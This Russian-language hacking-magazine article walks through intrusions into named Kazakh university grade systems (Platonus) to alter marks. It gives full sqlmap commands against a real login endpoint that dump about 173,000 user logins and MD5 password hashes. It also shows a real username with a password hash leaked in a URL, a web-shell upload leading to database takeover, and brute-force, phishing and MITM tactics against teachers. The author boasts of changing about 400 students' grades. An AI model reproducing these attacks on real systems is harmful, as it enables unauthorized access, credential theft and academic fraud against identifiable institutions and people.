Содержание статьи
Привет, %username%! Моя статья расскажет тебе, как окончить университет с крутыми оценками без регистрации и отправки СМС, не посещая занятия. Во многих университетах используются автоматизированные информационные системы (АИС), которые содержат информацию об отметках обучающихся, результаты экзаменов, историю посещений занятий и прочие конфиденциальные данные. В моем вузе все ведомости распечатывали напрямую из веб-интерфейса университетской АИС.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.Цель номер раз
Первым в нашем списке будет Евразийский национальный университет им. Л. Н. Гумилева.
Начнем с информационной разведки и посмотрим, что известно об университетском сайте и использующейся АИС. Вуз работает с АИС Platonus. Однако форма авторизации не имеет очевидных уязвимостей, а для полного аудита необходима учетная запись студента (о том, как ее получить, я расскажу ниже), которой у нас по дефолту нет (свою учетную запись не будем использовать, чтобы не наследить в логах). Пришла мысль просканировать основной сайт на наличие субдоменов. Для этого прибегнем к помощи сервиса pentest-tools.com.
Просмотрев сайты, расположенные на субдоменах, обнаруживаем, что субдомен http://service.enu.kz/
имеет форму авторизации, которая использует логины и пароли от АИС Platonus.
Поиск уязвимостей
Приступаем к предварительному осмотру сайта (веб-приложения), находящегося на данном субдомене. Первым делом, как истинные скрипткиддисы, бежим осматривать input-формы на наличие фильтрации и возможных уязвимостей.
И сразу обнаруживаем, что по адресу https://service.enu.kz/portal/page_dictonary.php
форма поиска позволяет произвести DOM SELF XSS атаку. Однако XSS — это не круто, особенно если это SELF.
Наиболее результативной находкой оказалась SQLi, найденная в экшн-скрипте auth.php
.
Достаточно было ввести в форму логина по адресу https://service.enu.kz/portal/page_login.php
стандартную кавычку (1234'
), чтобы вызвать ошибку в SQL-запросе.
Раскручиваем инъекцию
Для того чтобы облегчить себе задачу и не раскручивать инъекцию вручную, прибегнем к любимому многими инструменту — sqlmap.py
, который сделает за нас всю черную работу.
Следующая команда позволит нам вытянуть список доступных баз данных:
sqlmap.py –u "http://service.enu.kz/portal/auth.php" --data="btn_enter=1&login=1234&password=1234&role=ienu&secfield=0" -p "role" --level=5 --risk=2 --dbs.
А вот и результат ее выполнения.
Кстати, база skd
— это база системы контроля доступа, по ней можно было узнать, в какое время человек входил в университет и когда выходил, или, используя энкодер, сделать копию его пропуска на обычную болванку. Прикольно, но нам надо немного другое...
Попробуем посмотреть таблицы в базе данных под названием service
. Для этого вызываем sqlmap со следующими параметрами:
sqlmap.py -u "http://service.enu.kz/portal/auth.php" --data="btn_enter=1&login=1234&password=1234&role=ienu&secfield=0" -p "role" --level=5 --risk=2 -D service --tables
И получаем в ответ список таблиц.
Особое внимание привлекает таблица auth
: что-то подсказывает, что там можно найти данные, связанные с авторизацией. Заряжаем sqlmap на вытаскивание информации об этой таблице:
sqlmap.py -u "http://service.enu.kz/portal/auth.php" --data="btn_enter=1&login=1234&password=1234&role=ienu&secfield=0" -p "role" --level=5 --risk=2 -D service -T auth --columns
Ага, судя по названию колонок, здесь действительно хранятся логины и пароли.
Остается только их выудить. Следующая команда в итоге выдаст нам около 173 тысяч данных об авторизации пользователей:
sqlmap.py -u "http://service.enu.kz/portal/auth.php" --data="btn_enter=1& login= 1234&password=1234&role=ienu&secfield=0" -p "role" --level=5 --risk=2 -D service -T auth -C id,user_login,user_password,auth_dt --dump
Остается только расшифровать пароли, зашифрованные, кстати, алгоритмом MD5. Для этого прибегаем к использованию программ и сервисов по расшифровке хешей. В итоге у нас окажется вся актуальная база данных пользователей.
Движемся дальше
Теперь наша задача состоит в получении индивидуального идентификационного номера (ИИН) пользователя. Сложностей с этим никаких не возникает, поскольку сам ресурс http://service.enu.kz/
предоставляет такую возможность. Авторизовавшись на сайте, в личном кабинете пользователя находим графу ИИН
.
Получив таким же образом данные администратора nurzhanov_eb
, мы можем попасть в Platonus при помощи его логина, пароля и ИИН. Задача администратора — выдавать логины и пароли всем пользователям (преподавателям, учащимся и родителям студентов). Тем самым он имеет доступ к любому пользователю системы в целом.
Единственное ограничение — администратор не видит пароль пользователя, зато он его может сбросить, после чего сгенерируется отчет о сбросе пароля.
Godmode ON
В итоге мы можем сменить логин и пароль любому пользователю и получить доступ к другим личным кабинетам и их функциям. Собственно, на этом можно было бы закончить историю со взломом данного университета, но есть маленькое дополнение. При авторизации в АИС «Платонус» выпадает всплывающее окно с просьбой заполнить анкету и ссылкой на саму анкету.
Ссылка, которая перенаправляет пользователя на адрес anketa2.enu.kz
, передает параметры логина и пароля в форму авторизации, тем самым оставляя входные данные в сформировавшийся ссылке:
http://anketa2.enu.kz/auth.php?login=makhambetov_ab&password=688a469b584aead68736aa133861f2af&secfield=1&role=ienu
Так как логин нам уже известен, остается расшифровать пароль. Для этого используем сайт hashkiller.co.uk. Результат не заставил себя ждать, и мы получили пароль от аккаунта Platonus.
Если посмотреть со стороны, то эта ошибка не особо явная, так как в любом случае нам нужен владелец аккаунта. Значит, злоумышленнику надо использовать социальную инженерию.
Смоделируем, например, обычную ситуацию взаимоотношений студента и преподавателя. Студент может предложить преподавателю свою помощь — заполнить вместо него анкету. Тогда студенту понадобится ссылка.
Цель номер два
А теперь давай рассмотрим распространенную ошибку администраторов сайтов университетов, которая приводит к тому, что злоумышленникам даже не требуется специальных знаний и особых навыков, чтобы получить полный доступ к базе данных АИС.
Наша цель — добыть доступ к базе данных Казахского агротехнического университета им. С. Сейфуллина. Основной сайт университета: http://kazatu.kz
. Сайт АИС на субдомене: http://platonus.kazatu.kz/
. Также существует некий студенческий портал http://portal.kazatu.kz/
.
Приступаем к предварительному осмотру портала. Замечаем, что на портале есть ссылки на другие АИСы. Привлекает внимание АИС «Приемная комиссия». Переходим туда.
Особое внимание привлекает вкладка «Заявление абитуриента», так как обычно на подобных страницах есть возможность заливать файлы. Если разработчик не позаботился о том, чтобы запретить заливку файлов с исполняемыми расширениями, то это приведет к плачевным результатам.
Вопрос заключается лишь в том, как найти раздел, куда заливаются файлы. Существует множество вариантов: сканеры структур сайтов, брутфорсы, вручную, а также обязательный и самый простой метод — проиндексированные страницы в Google.
Таким нехитрым запросом мы узнали про существование раздела http://portal.kazatu.kz/abit/foto
.
Под колпаком
Распространенная ошибка администратора — включен листинг файлов и не указан запрет на индексирование поисковыми системами. Из-за этого мы можем увидеть все файлы, хранящиеся в папке и директории. Среди которых и залитый нами шелл.
Теперь в нашем распоряжении все файлы на сервере за исключением тех, к которым наш пользователь (SYSTEM) не имеет доступа. Изучая содержимое директорий, натыкаемся на интересный файл con_bd.php
, в котором записаны данные для подключения к БД.
Установленный phpMyAdmin и знание настроек для подключения к базе дают нам огромные возможности. Переходим в phpMyAdmin по адресу http://portal.kazatu.kz/abit/pma
, авторизуемся при помощи добытых ранее логина и пароля.
Авторизовавшись, мы получаем полный доступ ко всем базам данных сервера, помимо самого «Платонуса», что чревато большими последствиями.
Целевые атаки на преподавательский состав
Иногда бывает целесообразнее производить атаки не на всю систему, а на определенных сотрудников, непосредственно работающих с нею. Для целевых атак я обычно использую bruteforce, phishing и MITM-атаки в локальных сетях университета. Также не стоит недооценивать великую социальную инженерию.
Bruteforce
Брутфорс — метод поиска и взлома пароля путем перебора всех теоретически возможных вариантов.
Разработчики студенческих порталов и АИС зачастую забывают про капчу или ограничения по количеству попыток авторизации. Я встречал университеты, где пароли всех преподавателей состояли из четырех цифр, которые они не могли сами изменить. Чтобы сменить пароль, нужно подать заявление на имя декана.
Кстати, подводный камень этих систем в том, что через неделю после сессии портал закрывается и возможность изменить оценку через интерфейс пропадает. И чтобы изменить оценку, преподаватель должен написать заявление проректору и уплатить штраф. Поэтому многие преподаватели, заметив подмену оценок, ничего не предпринимают (а возможно, думают, что раз изменили оценку, значит, так угодно руководству). Обычно данная атака производится по набору широко распространенных паролей.
Моя попытка проделать подобное с интранетом (АИС) Казахстанско-Британского технического университета удалась на ура. Существует куча готовых решений для брута по веб-формам, самые популярные из них: THC Hydra, WBF.Gold, Medusa.
Phishing
Фишинг — одна из разновидностей социальной инженерии, основанная на незнании пользователями основ сетевой безопасности. В частности, многим неизвестен простой факт: сервисы не рассылают писем с просьбами сообщить свои учетные данные, пароль и прочее.
Успех многих фишинговых атак крылся в индивидуальном подходе к каждому сотруднику. Порой я менял закладки в браузерах на рабочих компьютерах преподавателей на подготовленный фишинговый сайт. В идеале можно было бы даже подменить файл hosts, чтобы URL был идентичен, но на подобные действия не всегда хватает времени. Иногда я слал письма с подменой почтового адреса от имени руководства (даже если у тебя возникнут сомнения, вряд ли ты станешь задавать вопросы начальству).
MITM
Такому методу атаки остаются подвержены многие университеты, использующие одну сеть для выхода в интернет студентов и сотрудников. Любой злоумышленник может произвести атаку и перехватить нужные пакеты, содержащие пароли. Уютные библиотеки с доступом в интернет — одно из моих любимых мест в стенах вузов. Однако, если не знаешь IP компьютера своего преподавателя, придется нелегко, если учесть интенсивность использования сети.
Выводы
Как ты смог увидеть на примере моей статьи, ни одна система не защищена на 100%, а бюрократические автоматизированные системы не всегда оказываются безопасными решениями. Но даже если отбросить уязвимость самого ПО, то всегда остается человеческий фактор. Я считаю, сотрудникам вузов просто необходим инструктаж по информационной безопасности.
Хотя, вероятно, руководители университетов еще не скоро займутся ИБ своих порталов, так что по-прежнему можно будет использовать уязвимости и манипулировать с оценками. Ну а если тебе не удается найти уязвимости, то необходимо вспомнить старую историю про двух мышек, упавших в молоко. Юзай си, оставайся анонимным и не болтай лишнего ;). Последнее особенно актуально.
P. S.
Почти четыре года назад меня исключили из университета без права на восстановление. Причина была в том, что я сменил оценки порядка четырехсот студентов. Возможно, никто бы и не узнал о произошедшем, однако мой одногруппник рассказал руководству университета, что я помог ему с оценками (восстановить их уже было нельзя, так что мой GPA остался впечатляющим). Кстати, меня до сих пор проклинают студенты этого вуза за то, что больше доступа к порталу вне стен университета нет. Поэтому прежде, чем что-либо сделать, всегда думай о последствиях своих действий.